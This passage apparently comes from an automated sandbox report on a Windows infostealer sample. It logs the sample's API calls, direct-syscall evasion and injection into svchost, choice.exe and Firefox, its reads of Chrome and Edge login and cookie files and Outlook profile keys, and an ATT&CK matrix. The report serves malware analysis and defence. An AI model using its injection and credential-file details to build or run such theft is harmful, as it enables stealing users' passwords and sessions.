Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]	2_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]	2_2_03AD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC97C mov eax, dword ptr fs:[00000030h]	2_2_03ABC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0946 mov eax, dword ptr fs:[00000030h]	2_2_03AB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30887 mov eax, dword ptr fs:[00000030h]	2_2_03A30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC89D mov eax, dword ptr fs:[00000030h]	2_2_03ABC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA8E4 mov eax, dword ptr fs:[00000030h]	2_2_03AFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_03A6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E8C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov ecx, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]	2_2_03A52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A830 mov eax, dword ptr fs:[00000030h]	2_2_03A6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]	2_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]	2_2_03AD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC810 mov eax, dword ptr fs:[00000030h]	2_2_03ABC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE872 mov eax, dword ptr fs:[00000030h]	2_2_03ABE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE872 mov eax, dword ptr fs:[00000030h]	2_2_03ABE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6870 mov eax, dword ptr fs:[00000030h]	2_2_03AC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6870 mov eax, dword ptr fs:[00000030h]	2_2_03AC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A42840 mov ecx, dword ptr fs:[00000030h]	2_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60854 mov eax, dword ptr fs:[00000030h]	2_2_03A60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34859 mov eax, dword ptr fs:[00000030h]	2_2_03A34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34859 mov eax, dword ptr fs:[00000030h]	2_2_03A34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CF80 mov eax, dword ptr fs:[00000030h]	2_2_03A6CF80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A62F98 mov eax, dword ptr fs:[00000030h]	2_2_03A62F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A62F98 mov eax, dword ptr fs:[00000030h]	2_2_03A62F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4CFE0 mov eax, dword ptr fs:[00000030h]	2_2_03A4CFE0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_00426DA1

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtSetInformationThread: Direct from: 0x775363F9	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\choice.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\choice.exe

Thread register set: target process: 5492

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\choice.exe

Thread APC queued: target process: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2F0A008

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\2rI5YEg7uo.exe"	Jump to behavior
Source: C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe	Process created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: vuEbrnedVG.exe, 00000004.00000002.3290457097.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000000.1661618369.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3290648436.0000000001B11000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: 2rI5YEg7uo.exe, vuEbrnedVG.exe, 00000004.00000002.3290457097.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000000.1661618369.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3290648436.0000000001B11000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vuEbrnedVG.exe, 00000004.00000002.3290457097.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000000.1661618369.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3290648436.0000000001B11000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 2rI5YEg7uo.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: vuEbrnedVG.exe, 00000004.00000002.3290457097.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000004.00000000.1661618369.0000000000FF1000.00000002.00000001.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3290648436.0000000001B11000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

0_2_0042039F

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\choice.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: 2rI5YEg7uo.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: 2rI5YEg7uo.exe	Binary or memory string: WIN_XP
Source: 2rI5YEg7uo.exe	Binary or memory string: WIN_XPe
Source: 2rI5YEg7uo.exe	Binary or memory string: WIN_VISTA
Source: 2rI5YEg7uo.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1741595274.0000000007890000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291114440.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3291176689.0000000004040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3293471787.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1737366193.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3289059447.0000000002140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1738078800.00000000051E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3290974360.0000000003B00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\2rI5YEg7uo.exe	Code function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

